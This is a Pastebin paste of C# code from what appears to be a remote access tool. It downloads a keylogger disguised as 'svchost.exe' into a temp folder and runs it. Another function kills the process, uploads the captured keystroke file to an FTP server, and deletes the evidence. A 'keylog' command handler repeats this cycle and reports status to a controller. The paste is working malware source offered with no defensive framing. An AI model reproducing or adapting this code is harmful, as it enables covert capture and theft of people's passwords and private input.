Advertisement
Guest User

Untitled

a guest
Mar 29th, 2017
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.58 KB | None | 0 0
  1.  public bool CreateKeyLog()
  2.         {
  3.            try
  4.             {
  5.                 Directory.CreateDirectory(temp + "stuu");
  6.                 bool exe = DL("svchost.exe",temp + "stuu/");
  7.                 bool dll = DL("KeystrokeAPI.dll", temp + "stuu/");
  8.                 if(exe & dll)
  9.                 {
  10.                     if(exec(temp + "stuu/svchost.exe"))
  11.                     {
  12.                         Send("keylog*Keylogger is running.");
  13.                         return true;
  14.                     } else
  15.                     {
  16.                         return false;
  17.                     }
  18.                 } else
  19.                 {
  20.                     return false;
  21.                 }
  22.             }
  23.             catch (Exception ex)
  24.             {
  25.                 return false;
  26.             }
  27.         }
  28.  
  29. public bool DeleteKeyLog()
  30.         {
  31.             if (Directory.Exists(temp + "stuu"))
  32.             {
  33.                 if (File.Exists(temp + "stuu/svchost.exe") && File.Exists(temp + "stuu/KeystrokeAPI.dll") && File.Exists(temp + "stuu/d.txt")) {
  34.  
  35.                     if (procRunning("svchost")) {
  36.                         Kill("svchost.exe");
  37.                     }
  38.                         File.Delete(temp + "stuu/svchost.exe");
  39.                         File.Delete(temp + "stuu/KeystrokeAPI.dll");
  40.                         Upload(temp + "stuu/d.txt");
  41.                         File.Delete(temp + "stuu/d.txt");
  42.                         Directory.Delete(temp + "stuu");
  43.                         return true;
  44.                 } else
  45.                 {
  46.                     return false;
  47.                 }
  48.             } else
  49.             {
  50.                 return false;
  51.             }
  52.         }
  53.  
  54.  case "keylog":
  55.                                 if (DeleteKeyLog())
  56.                                 {
  57.                                     Send("keylog*" + "Keylog was uploaded to ftp. Downloading soon..");
  58.                                 } else
  59.                                 {
  60.                                     Send("keylog*" + "Keylog wasn't uploaded to ftp due to an error.");
  61.                                 }
  62.                                 if (CreateKeyLog())
  63.                                 {
  64.                                     Send("keylog*" + "Successfuly created new instance of the keylogger.");
  65.                                 } else
  66.                                 {
  67.                                     Send("keylog*" + "Failed to create new instance of the keylogger.");
  68.                                 }
  69.                                    
  70.                                 break;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement